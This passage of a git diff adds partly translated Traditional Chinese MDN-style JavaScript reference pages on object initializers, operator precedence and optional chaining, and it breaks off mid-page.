+<p>Objects can be initialized using <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>new Object()</code></a>,<code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a></code>, or using the <em>literal</em> notation (<em>initializer</em> notation). An object initializer is a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces (<code>{}</code>).</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">var o = {};
+var o = {a: 'foo', b: 42, c: {}};
+
+var a = 'foo', b = 42, c = {};
+var o = {a: a, b: b, c: c};
+
+var o = {
+  <var>property: function </var>([<var>parameters</var>]) {},
+  get <var>property</var>() {},
+  set <var>property</var>(<var>value</var>) {}
+};
+</pre>
+
+<h3 id="New_notations_in_ECMAScript_2015">New notations in ECMAScript 2015</h3>
+
+<p>Please see the compatibility table for support for these notations. In non-supporting environments, these notations will lead to syntax errors.</p>
+
+<pre class="brush: js">// Shorthand property names (ES2015)
+var a = 'foo', b = 42, c = {};
+var o = {a, b, c};
+
+// Shorthand method names (ES2015)
+var o = {
+  <var>property</var>([<var>parameters</var>]) {}
+};
+
+// Computed property names (ES2015)
+var prop = 'foo';
+var o = {
+  [prop]: 'hey',
+  ['b' + 'ar']: 'there'
+};</pre>
+
+<h2 id="說明">說明</h2>
+
+<p>An object initializer is an expression that describes the initialization of an {{jsxref("Object")}}. Objects consist of <em>properties</em>, which are used to describe an object. Values of object properties can either contain {{Glossary("primitive")}} data types or other objects.</p>
+
+<h3 id="建立物件">建立物件</h3>
+
+<p>An empty object with no properties can be created like this:</p>
+
+<pre class="brush: js">var object = {};</pre>
+
+<p>However, the advantage of the <em>literal</em> or <em>initializer</em> notation is, that you are able to quickly create objects with properties inside the curly braces. You simply notate a list of <code>key: value</code> pairs delimited by comma. The following code creates an object with three properties and the keys are <code>"foo"</code>, <code>"age"</code> and <code>"baz"</code>. The values of these keys are a string <code>"bar"</code>, a number <code>42</code> and the third property has another object as its value.</p>
+
+<pre class="brush: js">var object = {
+  foo: 'bar',
+  age: 42,
+  baz: {myProp: 12}
+}</pre>
+
+<h3 id="存取屬性">存取屬性</h3>
+
+<p>Once you have created an object, you might want to read or change them. Object properties can be accessed by using the dot notation or the bracket notation. See <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">property accessors</a> for detailed information.</p>
+
+<pre class="brush: js">object.foo; // "bar"
+object['age']; // 42
+
+object.foo = 'baz';
+</pre>
+
+<h3 id="屬性定義">屬性定義</h3>
+
+<p>We have already learned how to notate properties using the initializer syntax. Oftentimes, there are variables in your code that you would like to put into an object. You will see code like this:</p>
+
+<pre class="brush: js">var a = 'foo',
+    b = 42,
+    c = {};
+
+var o = {
+  a: a,
+  b: b,
+  c: c
+};</pre>
+
+<p>With ECMAScript 2015, there is a shorter notation available to achieve the same:</p>
+
+<pre class="brush: js">var a = 'foo',
+    b = 42,
+    c = {};
+
+// Shorthand property names (ES2015)
+var o = {a, b, c};
+
+// In other words,
+console.log((o.a === {a}.a)); // true
+</pre>
+
+<h4 id="Duplicate_property_names">Duplicate property names</h4>
+
+<p>When using the same name for your properties, the second property will overwrite the first.</p>
+
+<pre class="brush: js">var a = {x: 1, x: 2};
+console.log(a); // {x: 2}
+</pre>
+
+<p>In ECMAScript 5 strict mode code, duplicate property names were considered a {{jsxref("SyntaxError")}}.  With the introduction of computed property names making duplication possible at runtime, ECMAScript 2015 has removed this restriction.</p>
+
+<pre class="brush: js">function haveES2015DuplicatePropertySemantics() {
+  'use strict';
+  try {
+    ({prop: 1, prop: 2});
+
+    // No error thrown, duplicate property names allowed in strict mode
+    return true;
+  } catch(e) {
+    // Error thrown, duplicates prohibited in strict mode
+    return false;
+  }
+}</pre>
+
+<h3 id="方法定義">方法定義</h3>
+
+<p>A property of an object can also refer to a <a href="/en-US/docs/Web/JavaScript/Reference/Functions">function</a> or a <a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a> or <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a> method.</p>
+
+<pre class="brush: js">var o = {
+  <var>property: function </var>([<var>parameters</var>]) {},
+  get <var>property</var>() {},
+  set <var>property</var>(<var>value</var>) {}
+};</pre>
+
+<p>In ECMAScript 2015, a shorthand notation is available, so that the keyword "function" is no longer necessary.</p>
+
+<pre class="brush: js">// Shorthand method names (ES2015)
+var o = {
+  <var>property</var>([<var>parameters</var>]) {},
+  *<var>generator</var>() {}
+};</pre>
+
+<p>In ECMAScript 2015 There is a way to concisely define properties whose values are generator functions:</p>
+
+<pre class="brush: js">var o = {
+  *<var>generator</var>() {
+    ...........
+  }
+};</pre>
+
+<p>Which is equivalent to this ES5-like notation (but note that ECMAScript 5 has no generators):</p>
+
+<pre class="brush: js">var o = {
+  generator<var>: function* </var>() {
+    ...........
+  }
+};</pre>
+
+<p>For more information and examples about methods, see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a>.</p>
+
+<h3 id="Computed_property_names">Computed property names</h3>
+
+<p>Starting with ECMAScript 2015, the object initializer syntax also supports computed property names. That allows you to put an expression in brackets <code>[]</code>, that will be computed as the property name. This is symmetrical to the bracket notation of the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">property accessor</a> syntax, which you might have used to read and set properties already. Now you can use the same syntax in object literals, too:</p>
+
+<pre class="brush: js">// Computed property names (ES2015)
+var i = 0;
+var a = {
+  ['foo' + ++i]: i,
+  ['foo' + ++i]: i,
+  ['foo' + ++i]: i
+};
+
+console.log(a.foo1); // 1
+console.log(a.foo2); // 2
+console.log(a.foo3); // 3
+
+var param = 'size';
+var config = {
+  [param]: 12,
+  ['mobile' + param.charAt(0).toUpperCase() + param.slice(1)]: 4
+};
+
+console.log(config); // {size: 12, mobileSize: 4}</pre>
+
+<h3 id="Spread_properties">Spread properties</h3>
+
+<p>The <a href="https://github.com/tc39/proposal-object-rest-spread">Rest/Spread Properties for ECMAScript</a> proposal (stage 3) adds <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread</a> properties to object literals. It copies own enumerable properties from a provided object onto a new object.</p>
+
+<p>Shallow-cloning (excluding prototype) or merging objects is now possible using a shorter syntax than {{jsxref("Object.assign()")}}.</p>
+
+<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+
+var clonedObj = { ...obj1 };
+// Object { foo: "bar", x: 42 }
+
+var mergedObj = { ...obj1, ...obj2 };
+// Object { foo: "baz", x: 42, y: 13 }</pre>
+
+<p>Note that {{jsxref("Object.assign()")}} triggers <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setters</a> whereas the spread operator doesn't.</p>
+
+<h3 id="Prototype_mutation">Prototype mutation</h3>
+
+<p>A property definition of the form <code>__proto__: value</code> or <code>"__proto__": value</code> does not create a property with the name <code>__proto__</code>.  Instead, if the provided value is an object or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>, it changes the <code>[[Prototype]]</code> of the created object to that value.  (If the value is not an object or null, the object is not changed.)</p>
+
+<pre class="brush: js">var obj1 = {};
+assert(Object.getPrototypeOf(obj1) === Object.prototype);
+
+var obj2 = {__proto__: null};
+assert(Object.getPrototypeOf(obj2) === null);
+
+var protoObj = {};
+var obj3 = {'__proto__': protoObj};
+assert(Object.getPrototypeOf(obj3) === protoObj);
+
+var obj4 = {__proto__: 'not an object or null'};
+assert(Object.getPrototypeOf(obj4) === Object.prototype);
+assert(!obj4.hasOwnProperty('__proto__'));
+</pre>
+
+<p>Only a single prototype mutation is permitted in an object literal: multiple prototype mutations are a syntax error.</p>
+
+<p>Property definitions that do not use "colon" notation are not prototype mutations: they are property definitions that behave identically to similar definitions using any other name.</p>
+
+<pre class="brush: js">var __proto__ = 'variable';
+
+var obj1 = {__proto__};
+assert(Object.getPrototypeOf(obj1) === Object.prototype);
+assert(obj1.hasOwnProperty('__proto__'));
+assert(obj1.__proto__ === 'variable');
+
+var obj2 = {__proto__() { return 'hello'; }};
+assert(obj2.__proto__() === 'hello');
+
+var obj3 = {['__prot' + 'o__']: 17};
+assert(obj3.__proto__ === 17);
+</pre>
+
+<h2 id="Object_literal_notation_vs_JSON">Object literal notation vs JSON</h2>
+
+<p>Object literal notation與<strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation (<a href="/en-US/docs/Glossary/JSON">JSON</a>)是不一樣的東西. 儘管它們看起來很相似，但還是有以下的不同:</p>
+
+<ul>
+ <li>JSON只允許屬性透過<code>"property": value</code>格式定義. 屬性名稱必須使用雙引號包起來，且不能是速記。</li>
+ <li>JSON的數值僅能為string, numbers, arrays, <code>true</code>, <code>false</code>, <code>null</code>, 或另一個JSON物件.</li>
+ <li>A function value (see "Methods" above) can not be assigned to a value in JSON.</li>
+ <li>Objects like {{jsxref("Date")}} will be a string after {{jsxref("JSON.parse()")}}.</li>
+ <li>{{jsxref("JSON.parse()")}} will reject computed property names and an error will be thrown.</li>
+</ul>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a> added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object-initializer', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Shorthand method/property names and computed property names added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-initializer', 'Object Initializer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="https://github.com/tc39/proposal-object-rest-spread">Rest/Spread Properties for ECMAScript </a></td>
+   <td>Draft</td>
+   <td>Stage 3 draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Computed property names</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Shorthand property names</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("33")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td>Shorthand method names</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td>Spread properties</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+   <td>{{CompatChrome(1.0)}}</td>
+  </tr>
+  <tr>
+   <td>Computed property names</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>7.1</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Shorthand property names</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("33")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>9</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Shorthand method names</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>9</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+  <tr>
+   <td>Spread properties</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">Property accessors</a></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></code> / <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">Method definitions</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/operator_precedence/index.html b/files/zh-tw/web/javascript/reference/operators/operator_precedence/index.html
new file mode 100644
index 0000000000..0395059d09
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/operator_precedence/index.html
@@ -0,0 +1,316 @@
+---
+title: 運算子優先序
+slug: Web/JavaScript/Reference/Operators/Operator_Precedence
+tags:
+  - JavaScript
+  - Operator
+  - precedence
+translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>運算子優先序（Operator precedence）決定了運算子彼此之間被語法解析的方式，優先序較高的運算子會成為優先序較低運算子的運算元（operands）。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-operatorprecedence.html")}}</div>
+
+
+
+<h2 id="相依性(Associativity)">相依性(Associativity)</h2>
+
+<p>當優先序相同時，使用相依性決定運算方向。範例如下：</p>
+
+<pre class="syntaxbox">a OP b OP c
+</pre>
+
+<p>左相依性 (Left-associativity) ，表示處理順序為從左至右 <code>(a OP b) OP c</code>，反之，右相依性(right-associativity) 表示處理順序為從右至左 <code>a OP (b OP c)</code>。賦值運算符 (Assignment operators) 為右相依性，範例如下：</p>
+
+<pre class="brush: js">a = b = 5;
+</pre>
+
+<p><code>a</code> 和 <code>b</code> 的預期結果為 5，因為賦值運算符 (Assignment operator) 為右相依性，因此從右至左返回值。一開始 <code>b</code> 被設定為 5，接著 <code>a</code> 也被設定為 5。</p>
+
+<h2 id="表格(Table)">表格(Table)</h2>
+
+<p>下方表格列出運算子的相依性，從高 (20) 到低 (1)。</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>優先性<br>
+    Precedence</th>
+   <th>運算子名稱<br>
+    Operator type</th>
+   <th>相依性<br>
+    Associativity</th>
+   <th>運算子<br>
+    Individual operators</th>
+  </tr>
+  <tr>
+   <td>20</td>
+   <td>{{jsxref("Operators/Grouping", "Grouping")}}</td>
+   <td>無</td>
+   <td><code>( … )</code></td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="4">19</td>
+   <td>{{jsxref("Operators/Property_Accessors", "Member Access", "#Dot_notation")}}</td>
+   <td>從左至右</td>
+   <td><code>… . …</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/Property_Accessors", "Computed Member Access","#Bracket_notation")}}</td>
+   <td>從左至右</td>
+   <td><code>… [ … ]</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/new","new")}} (with argument list)</td>
+   <td>無</td>
+   <td><code>new … ( … )</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Function Call</a></td>
+   <td>從左至右</td>
+   <td><code>… ( <var>… </var>)</code></td>
+  </tr>
+  <tr>
+   <td rowspan="1">18</td>
+   <td>{{jsxref("Operators/new","new")}} (without argument list)</td>
+   <td>從右至左</td>
+   <td><code>new …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">17</td>
+   <td>{{jsxref("Operators/Arithmetic_Operators","Postfix Increment","#Increment")}}</td>
+   <td colspan="1" rowspan="2">無</td>
+   <td><code>… ++</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Operators/Arithmetic_Operators","Postfix Decrement","#Decrement")}}</td>
+   <td><code>… --</code></td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="10">16</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_NOT">Logical NOT</a></td>
+   <td colspan="1" rowspan="10">從右至左</td>
+   <td><code>! …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_NOT">Bitwise NOT</a></td>
+   <td><code>~ …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_plus">Unary Plus</a></td>
+   <td><code>+ …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_negation">Unary Negation</a></td>
+   <td><code>- …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">Prefix Increment</a></td>
+   <td><code>++ …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement">Prefix Decrement</a></td>
+   <td><code>-- …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></td>
+   <td><code>typeof …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/void">void</a></td>
+   <td><code>void …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></td>
+   <td><code>delete …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a></td>
+   <td><code>await …</code></td>
+  </tr>
+  <tr>
+   <td>15</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Exponentiation">Exponentiation</a></td>
+   <td>從右至左</td>
+   <td><code>… ** …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="3">14</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Multiplication">Multiplication</a></td>
+   <td colspan="1" rowspan="3">從左至右</td>
+   <td><code>… * …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Division">Division</a></td>
+   <td><code>… / …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder">Remainder</a></td>
+   <td><code>… % …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">13</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition">Addition</a></td>
+   <td colspan="1" rowspan="2">從左至右</td>
+   <td><code>… + …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Subtraction">Subtraction</a></td>
+   <td><code>… - …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="3">12</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Bitwise Left Shift</a></td>
+   <td colspan="1" rowspan="3">從左至右</td>
+   <td><code>… &lt;&lt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Bitwise Right Shift</a></td>
+   <td><code>… &gt;&gt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Bitwise Unsigned Right Shift</a></td>
+   <td><code>… &gt;&gt;&gt; …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="6">11</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_operator">Less Than</a></td>
+   <td colspan="1" rowspan="6">從左至右</td>
+   <td><code>… &lt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than__or_equal_operator">Less Than Or Equal</a></td>
+   <td><code>… &lt;= …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_operator">Greater Than</a></td>
+   <td><code>… &gt; …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_or_equal_operator">Greater Than Or Equal</a></td>
+   <td><code>… &gt;= …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/in">in</a></td>
+   <td><code>… in …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a></td>
+   <td><code>… instanceof …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="4">10</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality">Equality</a></td>
+   <td colspan="1" rowspan="4">從左至右</td>
+   <td><code>… == …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Inequality">Inequality</a></td>
+   <td><code>… != …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity">Strict Equality</a></td>
+   <td><code>… === …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Nonidentity">Strict Inequality</a></td>
+   <td><code>… !== …</code></td>
+  </tr>
+  <tr>
+   <td>9</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_AND">Bitwise AND</a></td>
+   <td>從左至右</td>
+   <td><code>… &amp; …</code></td>
+  </tr>
+  <tr>
+   <td>8</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">Bitwise XOR</a></td>
+   <td>從左至右</td>
+   <td><code>… ^ …</code></td>
+  </tr>
+  <tr>
+   <td>7</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_OR">Bitwise OR</a></td>
+   <td>從左至右</td>
+   <td><code>… | …</code></td>
+  </tr>
+  <tr>
+   <td>6</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_AND">Logical AND</a></td>
+   <td>從左至右</td>
+   <td><code>… &amp;&amp; …</code></td>
+  </tr>
+  <tr>
+   <td>5</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR">Logical OR</a></td>
+   <td>從左至右</td>
+   <td><code>… || …</code></td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">Conditional</a></td>
+   <td>從右至左</td>
+   <td><code>… ? … : …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="13">3</td>
+   <td rowspan="13"><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Assignment</a></td>
+   <td rowspan="13">從右至左</td>
+   <td><code>… = …</code></td>
+  </tr>
+  <tr>
+   <td><code>… += …</code></td>
+  </tr>
+  <tr>
+   <td><code>… -= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… **= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… *= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… /= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… %= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &lt;&lt;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &gt;&gt;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &gt;&gt;&gt;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… &amp;= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… ^= …</code></td>
+  </tr>
+  <tr>
+   <td><code>… |= …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">2</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></td>
+   <td colspan="1" rowspan="2">從右至左</td>
+   <td><code>yield …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield*">yield*</a></td>
+   <td><code>yield* …</code></td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comma_Operator">Comma / Sequence</a></td>
+   <td>從左至右</td>
+   <td><code>… , …</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/zh-tw/web/javascript/reference/operators/optional_chaining/index.html b/files/zh-tw/web/javascript/reference/operators/optional_chaining/index.html
new file mode 100644
index 0000000000..a0b8edeae6
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/optional_chaining/index.html
@@ -0,0 +1,195 @@
+---
+title: 可選串連
+slug: Web/JavaScript/Reference/Operators/Optional_chaining
+tags:
+  - JavaScript
+  - 串連
+  - 可選串連
+  - 語言功能
+  - 運算子
+translation_of: Web/JavaScript/Reference/Operators/Optional_chaining
+---
+<div>{{JSSidebar("Operators")}}</div>
+
+<div></div>
+
+<p><strong>可選串連</strong>運算子 <strong><code>?.</code></strong> 允許進行深層次的物件值存取，而無需透過明確的物件值串連驗證。<span class="seoSummary"><code>?.</code> 運算子的操作與 <code>.</code> 屬性存取運算子相似，後者會在參照到 <a href="/zh-TW/docs/Glossary/nullish">nullish</a> ({{JSxRef("null")}} or {{JSxRef("undefined")}}) 的值時出現錯誤，而前者可選串連則回傳 <code>undefined</code> 。</span> 當需要存取一個函數，而這函數並不存在時，則會回傳 <code>undefined</code> 。</p>
+
+<p>當有機會存在參照不存在的時候，可選串連可以提供更簡短的表述式來進行串連性的屬性存取。這有助於在無法保證物件屬性為必要存在的狀況下，進行物件內容的探索。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-optionalchainingoperator.html", "taller")}}</div>
+
+<div></div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>obj</var>?.<var>prop</var>
+<var>obj</var>?.[<var>expr</var>]
+<em>arr</em>?.[<var>index</var>]
+<var>func</var>?.(<var>args</var>)
+</pre>
+
+<h2 id="描述">描述</h2>
+
+<p>當串連物件裡面的參照或方法可能是<code>undefined</code> 或 <code>null</code> 時，可選串連運算子提供簡單的方法去存取這些串連物件下的值。</p>
+
+<p>舉例來說，當一個物件 <code>obj</code> 是巢狀結構時，在沒有可選串連之下，要去查找一深層的屬性值需要驗證每層間的參照連結：</p>
+
+<pre class="brush: js">let nestedProp = obj.first &amp;&amp; obj.first.second;</pre>
+
+<p><code>obj.first</code> 的值需要先確定不是 <code>null</code> 值（和並非 <code>undefined</code> ），才能存取 <code>obj.first.second</code> 的值。這才能避免在存取值時，因為直接使用 <code>obj.first.second</code> 而沒有測試 <code>obj.first</code> 之下帶來的錯誤。</p>
+
+<p>當使用了可選串連運算子（<code>?.</code>），你不再需要明確地進行測測，並能在基於 <code>obj.first</code> 的狀態下直接回傳，忽略存取 <code>obj.first.second</code> 的動作：</p>
+
+<pre class="brush: js">let nestedProp = obj.first?.second;</pre>
+
